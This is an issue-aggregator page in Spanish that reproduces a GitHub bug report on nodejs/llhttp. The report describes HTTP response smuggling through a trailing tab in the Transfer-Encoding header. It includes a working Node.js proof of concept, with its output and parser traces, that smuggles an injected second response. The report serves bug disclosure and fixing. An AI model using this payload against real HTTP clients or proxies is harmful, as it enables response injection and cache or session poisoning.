Hacktoberfest 2026: los issues que los mantenedores marcaron para octubre, abiertos y aptos para principiantes. Explorar issues de Hacktoberfest

HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`

Abierto
#876 1 comentario 0 reacciones 0 asignados Ver en GitHub

Los mantenedores suelen responder en 6 días

Nadie ha tomado este issue todavía.

Evaluación

Dificultad
4/5
Tiempo estimado
3-5 días
Aptitud para principiantes
52/100
Tipo de issue
Error
Claridad
Bastante claro
Estado de actividad
Activo
Stack tecnológico
node.js, typescript

Línea de trabajo

Comienza con las rutas header_value_te_chunked_last y header_value_te_token, y luego comprueba cómo forbidAfterChunkedInRequest y lenient_transfer_encoding afectan al análisis de respuestas. Reproduce el PoC de Node.js proporcionado y verifica que un HTAB final se gestione como OWS eliminado, con framing chunked, entrega correcta del body y límites de mensaje coherentes.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.

Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.

PoC

const http = require('http'), net = require('net');

const RESP =
  'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' +   // note the trailing TAB
  '5\r\nhello\r\n0\r\n\r\n' +                                   // a complete chunked body
  'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!';      // a second, separate response

const origin = net.createServer(c =>
  c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));

origin.listen(0, () => http.get({ port: origin.address().port }, res => {
  let body = '';
  res.on('data', c => body += c);
  res.on('end', () => {
    console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
    console.log('res.complete                     =', res.complete);
    console.log('body                             =', JSON.stringify(body));
    origin.close();
  });
}));
res.headers['transfer-encoding'] = "chunked"
res.complete                     = true
body                             = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"

Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.

The same bytes, parsed with the tab stripped, yield a different message count:

tab NOT stripped (llhttp):   headers_complete chunked=0 keepalive=0   body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped:                headers_complete chunked=1 keepalive=1   body(5) 'hello'   message_complete
                             headers_complete status=200 content_length=9  body(9) 'INJECTED!'  message_complete

One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.

Lenguaje dominante
TypeScript
Estrellas
2k
Forks
236
Merge medio
5 d 2 h
PR fusionados (30 d)
1

Preparar el entorno

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

Más de nodejs/llhttp

Todos los issues de nodejs/llhttp

Issues similares

Más issues de TypeScript

Recibe los nuevos issues en tu correo

Un resumen breve de issues de GitHub para principiantes.